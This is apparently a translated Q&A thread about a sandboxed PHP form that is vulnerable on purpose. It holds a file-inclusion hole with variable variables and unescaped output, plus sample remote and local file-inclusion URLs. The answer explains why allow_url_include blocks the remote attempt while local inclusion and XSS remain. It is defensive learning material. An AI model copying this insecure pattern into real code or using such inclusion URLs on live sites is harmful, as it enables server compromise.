我已经设置了一个沙箱并尝试运行漏洞,因此我可以更好地了解如何更好地防御它们。当我运行以下操作时,该过程将失败,因为它应该并且正确的原因。但后来我不确定因为我找不到很多“如何编写适当的漏洞利用”。这是我的代码,以下是失败的消息。任何指导都会很棒。
//unform.php (unprotected form)
<html>
<head>
<title>Try An Exploit</title>
<?php
if (!empty($_GET)){
foreach($_GET as $key=>$value){
${$key} = $value;
}
}
//no sanitizer here.
echo $key;
include($value);
?>
</head>
<body>
<h1>This Is Bad</h1>
<form action="#" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit" value="Kick Me" />
</form>
</body>
利用脚本,简单的东西:
exploit.php
<?php
$somevar = "This is just a string";
echo $somevar;
?>
坏人会在浏览器地址栏中硬编码以下内容:
http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php
尝试加载地址时输出到浏览器:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0
那是这样的吗?还是我应该注意其他技术?答案 0 :(得分:3)
看起来有问题的漏洞是执行任意脚本。由于某些php.ini设置,该脚本不容易任意执行远程脚本 - 但它很容易被任意执行本地脚本。
默认情况下,allow_url_include
php.ini指令设置为0
- 阻止您包含远程文件,如下所示:
include("http://www.remoteserv.com/exploit.php");
......或同样如此:
$myVar = "http://www.remoteserv.com/exploit.php";
include($myVar);
有关详细信息,请参阅php.net上的Runtime Configurations - Filesystem and Streams Configuration Options和Using remote scripts。
从技术上讲,你仍然容易受到攻击,因为用户可以提供导致错误的输入 - 实际上你应该清理那个输入 - 但是你不容易受到远程脚本的任意执行的攻击。</ p>
但php.ini指令并不能保护您免受本地脚本执行的影响。攻击者可以使用像......这样的URL
http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php
...并且该文件将被包含在内。它可能是非PHP文件(导致错误),也可能是攻击者在您的服务器上放置的文件 - 通过文件上传或Shared Hosting Environment。
如需进一步阅读,chapter 5 of the book Essential PHP Security完全致力于include的安全性。
您 易受XSS
攻击。echo $key;
输出$key
- 输入时 - 您应该以某种方式对输出进行编码,可能使用htmlentities(...)
。
您还使用use input操作变量:
${$key} = $value;
......这是一个坏主意。